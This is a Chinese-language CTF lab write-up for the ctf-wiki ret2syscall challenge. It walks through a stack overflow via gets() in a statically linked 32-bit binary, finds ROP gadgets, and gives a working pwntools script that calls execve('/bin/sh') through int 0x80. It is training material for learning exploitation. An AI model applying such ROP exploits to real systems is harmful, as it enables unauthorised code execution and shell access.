T2 ret2syscall
2023-01-22WP
ctf-wiki 基础rop
考点:ret2syscall
0x01
file checksec —— 32-bit 开启NX保护,堆栈不可执行
而且注意这是statically linked(静态链接),不能通过泄露库函数地址获取system函数地址
0x02
IDA看源码,发现没有system函数可用
有gets函数,应该是通过它实现栈溢出
由0x01可知我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。采取使用ret2syscall即控制程序执行系统调用,获取 shell。
也就是我们只需要把各个参数放在对应的寄存器中,执行int 0x80 就可实现对系统的调用
0x03
利用系统调用来获取shell
execve(“/bin/sh”,NULL,NULL)
关于系统调用补充知识见0x05
构造的目标如下
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
我们要找到系统调用相对于的寄存器的值
首先要让EAX = 0xb,那么需要的指令是 pop eax ;但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,所以pop之后还需要一个ret返回到控制程序执行流, pop eax ;ret
选择这个地址:
0x080bb196 : pop eax ; ret
同理,查找控制其他三个寄存器的gadget
我们选择这个地址:
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
还要获取/bin/sh的地址0x80BE408
还有int 0x80的地址 0x08049421
0x04
可以写exp了
from pwn import *
p = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat([b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#偏移量的计算方法和ret2text的相同
p.sendline(payload)
p.interactive()
0x05
补充一些系统调用的相关知识
Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号(在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。)来区分入口函数。
操作系统实现系统调用的基本过程是:
- 应用程序调用库函数(API);
- API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
- 中断处理函数返回到 API 中;
- API 将 EAX 返回给应用程序
应用程序调用系统调用的过程是:
- 把系统调用的编号存入 EAX;
- 把函数参数存入其它通用寄存器;
- 触发 0x80 号中断(int 0x80)
Linux在用int 0x80进行系统调用时,调用号存在于EAX,第一个参数存在于EBX,第二个参数存在于ECX,第三个参数存在于EDX
更多系统调用号可参考 参考文章
Reference
参考文章:
ret2syscall知识点及例题
ret2syscall
Linux系统调用号 - gsharpsh00ter - 博客园 (cnblogs.com)